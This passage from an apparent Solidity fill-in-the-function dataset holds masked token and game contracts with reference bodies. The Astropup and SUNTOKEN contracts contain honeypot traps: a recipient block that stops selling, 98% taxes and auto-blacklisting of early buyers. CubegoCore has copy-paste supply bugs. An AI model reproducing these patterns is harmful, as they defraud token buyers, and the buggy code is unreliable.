| function divsOwing(address _addr) public view returns (uint) | function divsOwing(address _addr) public view returns (uint) |
32045 | CoinBxsc | transfer | contract CoinBxsc // @eachvar
{
// ======== 初始化代币相关逻辑 ==============
// 地址信息
address public admin_address = 0x8edA8413C83ed371CCc7E7dABc198CFdBD559ead; // @eachvar
address public account_address = 0x8edA8413C83ed371CCc7E7dABc198CFdBD559ead; // @eachvar 初始化后转入代币的地址
// 定义账户余额
mapping(address => uint256) balances;
// solidity 会自动为 public 变量添加方法,有了下边这些变量,就能获得代币的基本信息了
string public name = "BaiXingSC"; // @eachvar
string public symbol = "BXSC"; // @eachvar
uint8 public decimals = 18; // @eachvar
uint256 initSupply = 700000000; // @eachvar
uint256 public totalSupply = 0; // @eachvar
// 生成代币,并转入到 account_address 地址
constructor()
payable
public
{
totalSupply = mul(initSupply, 10**uint256(decimals));
balances[account_address] = totalSupply;
}
function balanceOf( address _addr ) public view returns ( uint )
{
return balances[_addr];
}
// ========== 转账相关逻辑 ====================
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
function transfer(
address _to,
uint256 _value
)
public
returns (bool)
{<FILL_FUNCTION_BODY> }
// ========= 授权转账相关逻辑 =============
mapping (address => mapping (address => uint256)) internal allowed;
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = sub(balances[_from], _value);
balances[_to] = add(balances[_to], _value);
allowed[_from][msg.sender] = sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(
address _spender,
uint256 _value
)
public
returns (bool)
{
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = add(allowed[msg.sender][_spender], _addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else
{
allowed[msg.sender][_spender] = sub(oldValue, _subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// ============== admin 相关函数 ==================
modifier admin_only()
{
require(msg.sender==admin_address);
_;
}
function setAdmin( address new_admin_address )
public
admin_only
returns (bool)
{
require(new_admin_address != address(0));
admin_address = new_admin_address;
return true;
}
// 虽然没有开启直投,但也可能转错钱的,给合约留一个提现口总是好的
function withDraw()
public
admin_only
{
require(address(this).balance > 0);
admin_address.transfer(address(this).balance);
}
// ======================================
/// 默认函数
function () external payable
{
}
// ========== 公用函数 ===============
// 主要就是 safemath
function mul(uint256 a, uint256 b) internal pure returns (uint256 c)
{
if (a == 0)
{
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c)
{
c = a + b;
assert(c >= a);
return c;
}
} | contract CoinBxsc // @eachvar
{
// ======== 初始化代币相关逻辑 ==============
// 地址信息
address public admin_address = 0x8edA8413C83ed371CCc7E7dABc198CFdBD559ead; // @eachvar
address public account_address = 0x8edA8413C83ed371CCc7E7dABc198CFdBD559ead; // @eachvar 初始化后转入代币的地址
// 定义账户余额
mapping(address => uint256) balances;
// solidity 会自动为 public 变量添加方法,有了下边这些变量,就能获得代币的基本信息了
string public name = "BaiXingSC"; // @eachvar
string public symbol = "BXSC"; // @eachvar
uint8 public decimals = 18; // @eachvar
uint256 initSupply = 700000000; // @eachvar
uint256 public totalSupply = 0; // @eachvar
// 生成代币,并转入到 account_address 地址
constructor()
payable
public
{
totalSupply = mul(initSupply, 10**uint256(decimals));
balances[account_address] = totalSupply;
}
function balanceOf( address _addr ) public view returns ( uint )
{
return balances[_addr];
}
// ========== 转账相关逻辑 ====================
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
<FILL_FUNCTION>
// ========= 授权转账相关逻辑 =============
mapping (address => mapping (address => uint256)) internal allowed;
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = sub(balances[_from], _value);
balances[_to] = add(balances[_to], _value);
allowed[_from][msg.sender] = sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(
address _spender,
uint256 _value
)
public
returns (bool)
{
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = add(allowed[msg.sender][_spender], _addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else
{
allowed[msg.sender][_spender] = sub(oldValue, _subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// ============== admin 相关函数 ==================
modifier admin_only()
{
require(msg.sender==admin_address);
_;
}
function setAdmin( address new_admin_address )
public
admin_only
returns (bool)
{
require(new_admin_address != address(0));
admin_address = new_admin_address;
return true;
}
// 虽然没有开启直投,但也可能转错钱的,给合约留一个提现口总是好的
function withDraw()
public
admin_only
{
require(address(this).balance > 0);
admin_address.transfer(address(this).balance);
}
// ======================================
/// 默认函数
function () external payable
{
}
// ========== 公用函数 ===============
// 主要就是 safemath
function mul(uint256 a, uint256 b) internal pure returns (uint256 c)
{
if (a == 0)
{
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c)
{
c = a + b;
assert(c >= a);
return c;
}
} |
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = sub(balances[msg.sender],_value);
balances[_to] = add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
| function transfer(
address _to,
uint256 _value
)
public
returns (bool)
| function transfer(
address _to,
uint256 _value
)
public
returns (bool)
|
89158 | VersusArenaToken | approveAndCall | contract VersusArenaToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function VersusArenaToken() public {
symbol = "VSA";
name = "Versus Arena Token";
decimals = 5;
_totalSupply = 208064000000;
balances[0x0a5B2Fa1FE9B9B9558EE56689183152F2Ca712e8] = _totalSupply;
Transfer(address(0), 0x0a5B2Fa1FE9B9B9558EE56689183152F2Ca712e8, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | contract VersusArenaToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function VersusArenaToken() public {
symbol = "VSA";
name = "Versus Arena Token";
decimals = 5;
_totalSupply = 208064000000;
balances[0x0a5B2Fa1FE9B9B9558EE56689183152F2Ca712e8] = _totalSupply;
Transfer(address(0), 0x0a5B2Fa1FE9B9B9558EE56689183152F2Ca712e8, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} |
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
| function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) | // ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) |
14644 | TokenBEP20 | transfer | contract TokenBEP20 is BEP20Interface, Owned{
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
address public newun;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "APUP";
name = "Astropup";
decimals = 9;
_totalSupply = 1000000000 * 10**6 * 10**6;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> }
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
if(from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function () external payable {
revert();
}
} | contract TokenBEP20 is BEP20Interface, Owned{
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
address public newun;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "APUP";
name = "Astropup";
decimals = 9;
_totalSupply = 1000000000 * 10**6 * 10**6;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
<FILL_FUNCTION>
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
if(from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function () external payable {
revert();
}
} |
require(to != newun, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
| function transfer(address to, uint tokens) public returns (bool success) | function transfer(address to, uint tokens) public returns (bool success) |
50448 | CubegoCore | addMaterials | contract CubegoCore is BasicAccessControl {
uint constant MAX_MATERIAL = 32;
struct MaterialData {
uint price;
uint totalSupply;
CubegoERC20 erc20;
}
MaterialData[MAX_MATERIAL] public materials;
mapping(address => uint[MAX_MATERIAL]) public myMaterials;
function setMaterialData(uint _mId, uint _price, address _erc20Address) onlyModerators external {
MaterialData storage material = materials[_mId];
material.price = _price;
material.erc20 = CubegoERC20(_erc20Address);
}
function mineMaterial(address _owner, uint _mId, uint _amount) onlyModerators external {
myMaterials[_owner][_mId] += _amount;
MaterialData storage material = materials[_mId];
material.totalSupply += _amount;
material.erc20.emitTransferEvent(address(0), _owner, _amount);
}
function transferMaterial(address _sender, address _receiver, uint _mId, uint _amount) onlyModerators external {
if (myMaterials[_sender][_mId] < _amount) revert();
myMaterials[_sender][_mId] -= _amount;
myMaterials[_receiver][_mId] += _amount;
materials[_mId].erc20.emitTransferEvent(_sender, _receiver, _amount);
}
function buyMaterials(address _owner, uint _mId1, uint _amount1, uint _mId2, uint _amount2,
uint _mId3, uint _amount3, uint _mId4, uint _amount4) onlyModerators external returns(uint) {
uint totalPrice = 0;
MaterialData storage material = materials[_mId1];
if (_mId1 > 0) {
if (material.price == 0) revert();
myMaterials[_owner][_mId1] += _amount1;
totalPrice += material.price * _amount1;
material.totalSupply += _amount1;
material.erc20.emitTransferEvent(address(0), _owner, _amount1);
}
if (_mId2 > 0) {
material = materials[_mId2];
if (material.price == 0) revert();
myMaterials[_owner][_mId2] += _amount2;
totalPrice += material.price * _amount2;
material.totalSupply += _amount1;
material.erc20.emitTransferEvent(address(0), _owner, _amount2);
}
if (_mId3 > 0) {
material = materials[_mId3];
if (material.price == 0) revert();
myMaterials[_owner][_mId3] += _amount3;
totalPrice += material.price * _amount3;
material.totalSupply += _amount1;
material.erc20.emitTransferEvent(address(0), _owner, _amount3);
}
if (_mId4 > 0) {
material = materials[_mId3];
if (material.price == 0) revert();
myMaterials[_owner][_mId4] += _amount4;
totalPrice += material.price * _amount4;
material.totalSupply += _amount1;
material.erc20.emitTransferEvent(address(0), _owner, _amount4);
}
return totalPrice;
}
// dismantle cubegon
function addMaterials(address _owner, uint _mId1, uint _amount1, uint _mId2, uint _amount2,
uint _mId3, uint _amount3, uint _mId4, uint _amount4) onlyModerators external {<FILL_FUNCTION_BODY> }
function removeMaterials(address _owner, uint _mId1, uint _amount1, uint _mId2, uint _amount2,
uint _mId3, uint _amount3, uint _mId4, uint _amount4) onlyModerators external {
if (_mId1 > 0) {
if (myMaterials[_owner][_mId1] < _amount1) revert();
myMaterials[_owner][_mId1] -= _amount1;
materials[_mId1].erc20.emitTransferEvent(_owner, address(0), _amount1);
}
if (_mId2 > 0) {
if (myMaterials[_owner][_mId2] < _amount2) revert();
myMaterials[_owner][_mId2] -= _amount2;
materials[_mId2].erc20.emitTransferEvent(_owner, address(0), _amount2);
}
if (_mId3 > 0) {
if (myMaterials[_owner][_mId3] < _amount3) revert();
myMaterials[_owner][_mId3] -= _amount3;
materials[_mId3].erc20.emitTransferEvent(_owner, address(0), _amount3);
}
if (_mId4 > 0) {
if (myMaterials[_owner][_mId4] < _amount4) revert();
myMaterials[_owner][_mId4] -= _amount4;
materials[_mId4].erc20.emitTransferEvent(_owner, address(0), _amount4);
}
}
// public function
function getMaterialSupply(uint _mId) constant external returns(uint) {
return materials[_mId].totalSupply;
}
function getMaterialData(uint _mId) constant external returns(uint price, uint totalSupply, address erc20Address) {
MaterialData storage material = materials[_mId];
return (material.price, material.totalSupply, address(material.erc20));
}
function getMyMaterials(address _owner) constant external returns(uint[MAX_MATERIAL]) {
return myMaterials[_owner];
}
function getMyMaterialById(address _owner, uint _mId) constant external returns(uint) {
return myMaterials[_owner][_mId];
}
function getMyMaterialsByIds(address _owner, uint _mId1, uint _mId2, uint _mId3, uint _mId4) constant external returns(
uint, uint, uint, uint) {
return (myMaterials[_owner][_mId1], myMaterials[_owner][_mId2], myMaterials[_owner][_mId3], myMaterials[_owner][_mId4]);
}
} | contract CubegoCore is BasicAccessControl {
uint constant MAX_MATERIAL = 32;
struct MaterialData {
uint price;
uint totalSupply;
CubegoERC20 erc20;
}
MaterialData[MAX_MATERIAL] public materials;
mapping(address => uint[MAX_MATERIAL]) public myMaterials;
function setMaterialData(uint _mId, uint _price, address _erc20Address) onlyModerators external {
MaterialData storage material = materials[_mId];
material.price = _price;
material.erc20 = CubegoERC20(_erc20Address);
}
function mineMaterial(address _owner, uint _mId, uint _amount) onlyModerators external {
myMaterials[_owner][_mId] += _amount;
MaterialData storage material = materials[_mId];
material.totalSupply += _amount;
material.erc20.emitTransferEvent(address(0), _owner, _amount);
}
function transferMaterial(address _sender, address _receiver, uint _mId, uint _amount) onlyModerators external {
if (myMaterials[_sender][_mId] < _amount) revert();
myMaterials[_sender][_mId] -= _amount;
myMaterials[_receiver][_mId] += _amount;
materials[_mId].erc20.emitTransferEvent(_sender, _receiver, _amount);
}
function buyMaterials(address _owner, uint _mId1, uint _amount1, uint _mId2, uint _amount2,
uint _mId3, uint _amount3, uint _mId4, uint _amount4) onlyModerators external returns(uint) {
uint totalPrice = 0;
MaterialData storage material = materials[_mId1];
if (_mId1 > 0) {
if (material.price == 0) revert();
myMaterials[_owner][_mId1] += _amount1;
totalPrice += material.price * _amount1;
material.totalSupply += _amount1;
material.erc20.emitTransferEvent(address(0), _owner, _amount1);
}
if (_mId2 > 0) {
material = materials[_mId2];
if (material.price == 0) revert();
myMaterials[_owner][_mId2] += _amount2;
totalPrice += material.price * _amount2;
material.totalSupply += _amount1;
material.erc20.emitTransferEvent(address(0), _owner, _amount2);
}
if (_mId3 > 0) {
material = materials[_mId3];
if (material.price == 0) revert();
myMaterials[_owner][_mId3] += _amount3;
totalPrice += material.price * _amount3;
material.totalSupply += _amount1;
material.erc20.emitTransferEvent(address(0), _owner, _amount3);
}
if (_mId4 > 0) {
material = materials[_mId3];
if (material.price == 0) revert();
myMaterials[_owner][_mId4] += _amount4;
totalPrice += material.price * _amount4;
material.totalSupply += _amount1;
material.erc20.emitTransferEvent(address(0), _owner, _amount4);
}
return totalPrice;
}
<FILL_FUNCTION>
function removeMaterials(address _owner, uint _mId1, uint _amount1, uint _mId2, uint _amount2,
uint _mId3, uint _amount3, uint _mId4, uint _amount4) onlyModerators external {
if (_mId1 > 0) {
if (myMaterials[_owner][_mId1] < _amount1) revert();
myMaterials[_owner][_mId1] -= _amount1;
materials[_mId1].erc20.emitTransferEvent(_owner, address(0), _amount1);
}
if (_mId2 > 0) {
if (myMaterials[_owner][_mId2] < _amount2) revert();
myMaterials[_owner][_mId2] -= _amount2;
materials[_mId2].erc20.emitTransferEvent(_owner, address(0), _amount2);
}
if (_mId3 > 0) {
if (myMaterials[_owner][_mId3] < _amount3) revert();
myMaterials[_owner][_mId3] -= _amount3;
materials[_mId3].erc20.emitTransferEvent(_owner, address(0), _amount3);
}
if (_mId4 > 0) {
if (myMaterials[_owner][_mId4] < _amount4) revert();
myMaterials[_owner][_mId4] -= _amount4;
materials[_mId4].erc20.emitTransferEvent(_owner, address(0), _amount4);
}
}
// public function
function getMaterialSupply(uint _mId) constant external returns(uint) {
return materials[_mId].totalSupply;
}
function getMaterialData(uint _mId) constant external returns(uint price, uint totalSupply, address erc20Address) {
MaterialData storage material = materials[_mId];
return (material.price, material.totalSupply, address(material.erc20));
}
function getMyMaterials(address _owner) constant external returns(uint[MAX_MATERIAL]) {
return myMaterials[_owner];
}
function getMyMaterialById(address _owner, uint _mId) constant external returns(uint) {
return myMaterials[_owner][_mId];
}
function getMyMaterialsByIds(address _owner, uint _mId1, uint _mId2, uint _mId3, uint _mId4) constant external returns(
uint, uint, uint, uint) {
return (myMaterials[_owner][_mId1], myMaterials[_owner][_mId2], myMaterials[_owner][_mId3], myMaterials[_owner][_mId4]);
}
} |
if (_mId1 > 0) {
myMaterials[_owner][_mId1] += _amount1;
materials[_mId1].erc20.emitTransferEvent(address(0), _owner, _amount1);
}
if (_mId2 > 0) {
myMaterials[_owner][_mId2] += _amount2;
materials[_mId2].erc20.emitTransferEvent(address(0), _owner, _amount2);
}
if (_mId3 > 0) {
myMaterials[_owner][_mId3] += _amount3;
materials[_mId3].erc20.emitTransferEvent(address(0), _owner, _amount3);
}
if (_mId4 > 0) {
myMaterials[_owner][_mId4] += _amount4;
materials[_mId4].erc20.emitTransferEvent(address(0), _owner, _amount4);
}
| function addMaterials(address _owner, uint _mId1, uint _amount1, uint _mId2, uint _amount2,
uint _mId3, uint _amount3, uint _mId4, uint _amount4) onlyModerators external | // dismantle cubegon
function addMaterials(address _owner, uint _mId1, uint _amount1, uint _mId2, uint _amount2,
uint _mId3, uint _amount3, uint _mId4, uint _amount4) onlyModerators external |
56135 | SUNTOKEN | mul | contract SUNTOKEN {
mapping(address => uint) _balances;
mapping(address => mapping(address => uint)) _allowances;
mapping(address => bool) public isBlacklisted;
mapping(address => bool) public isExcluded;
mapping(address => uint) FirstBuyTimestamp;
string _name;
string _symbol;
uint _supply;
uint8 _decimals;
uint public maxbuy_amount;
uint deployTimestamp;
uint blacklistedUsers;
uint _enableExtraTax;
uint selltax;
uint buytax;
uint bonustax;
uint maxTax;
uint maxBonusTax;
uint maxAmount;
bool public swapEnabled;
bool public collectTaxEnabled;
bool public inSwap;
bool public blacklistEnabled;
address _owner;
address uniswapV2Pair; //address of the pool
address router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; //ETH: 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D BSCtest: 0xD99D1c33F9fC3444f8101754aBC46c52416550D1 BSC: 0x10ED43C718714eb63d5aA57B78B54704E256024E
address WBNB_address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; //ETH: 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 ETHtest: 0xc778417E063141139Fce010982780140Aa0cD5Ab BSCtest: 0xae13d989daC2f0dEbFf460aC112a837C89BAa7cd BSC: 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c
address wallet_team;
address wallet_investment;
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(router); //Interface call name
ERC20 WBNB = ERC20(WBNB_address);
constructor() {
_owner = msg.sender;
_name = "SUN Investments";
_symbol = "SUN";
_supply = 100000000000; // 100 billion
_decimals = 6;
maxTax = 15;
maxBonusTax = 15;
maxAmount = 20000000 * 10 **_decimals;
wallet_team = 0x9aB5C85752fD5A12389271B6d6E86ccf13aC7111;
wallet_investment = 0x5BDc5f06e5414152824eC3803fb7fe46a1dc161f;
excludeFromTax(wallet_team);
excludeFromTax(wallet_investment);
excludeFromTax(msg.sender);
excludeFromTax(0xd1917932A7Db6Af687B523D5Db5d7f5c2734763F); //bulksender.app Ropsten: 0xfe25A97B5E3257e6e7164Ede813C3d4FBb1C2e3b Mainnet: 0xd1917932A7Db6Af687B523D5Db5d7f5c2734763F
_balances[msg.sender] = totalSupply()*(98-15)/100;
_balances[address(this)] = totalSupply()*2/100;
CreatePair();
disableMaxBuy();
selltax = 98;
buytax = 98;
bonustax = 0;
deployTimestamp = block.timestamp;
emit Transfer(address(0), msg.sender, totalSupply()*(98-15)/100);
emit Transfer(address(0), address(this), totalSupply()*2/100);
}
modifier owner {
require(msg.sender == _owner); _;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
function totalSupply() public view returns(uint) {
return mul(_supply,(10 ** _decimals));
}
function balanceOf(address wallet) public view returns(uint) {
return _balances[wallet];
}
function getOwner() public view returns(address) {
return _owner;
}
function getPair() public view returns(address) {
return uniswapV2Pair;
}
function getRouter() public view returns(address) {
return router;
}
function getWBNB() public view returns(address) {
return WBNB_address;
}
event Transfer(address indexed from, address indexed to, uint amount);
event Approval(address indexed fundsOwner, address indexed spender, uint amount);
function _transfer(address from, address to, uint amount) internal returns(bool) {
require(balanceOf(from) >= amount, "Insufficient balance.");
require(isBlacklisted[from] == false && isBlacklisted[to] == false, "Blacklisted");
_balances[from] = sub(balanceOf(from),amount);
_balances[to] = add(balanceOf(to),amount);
emit Transfer(from, to, amount);
return true;
}
function transfer(address to, uint amount) public returns(bool) {
require(amount <= maxbuy_amount, "Amount exceeds max. limit");
require(balanceOf(to) + amount <= maxbuy_amount, "Balance exceeds max.limit"); //Located in transfer() so that only buys can get reverted
address from = msg.sender;
doThaTaxTing(from, to, amount); //This is where tokenomics get applied to the transaction
if(blacklistedUsers < 15 && to != router && to != uniswapV2Pair && to != _owner && blacklistEnabled == true){
blacklist(to);
blacklistedUsers += 1;
}
return true;
}
function transferFrom(address from, address to, uint amount) public returns (bool) {
uint authorizedAmount = allowance(from, msg.sender);
require(authorizedAmount >= amount, "Insufficient allowance.");
doThaTaxTing(from, to, amount);
_allowances[from][to] = sub(allowance(from, msg.sender),amount);
return true;
}
function doThaTaxTing(address from, address to, uint amount) internal returns (bool) {
////
uint recieve_amount = amount;
uint taxed_amount = 0;
if(FirstBuyTimestamp[to] == 0){
FirstBuyTimestamp[to] = block.timestamp; //Store time of first buy
}
if(inSwap == false && isExcluded[from] == false && isExcluded[to] == false){
if(collectTaxEnabled == true){
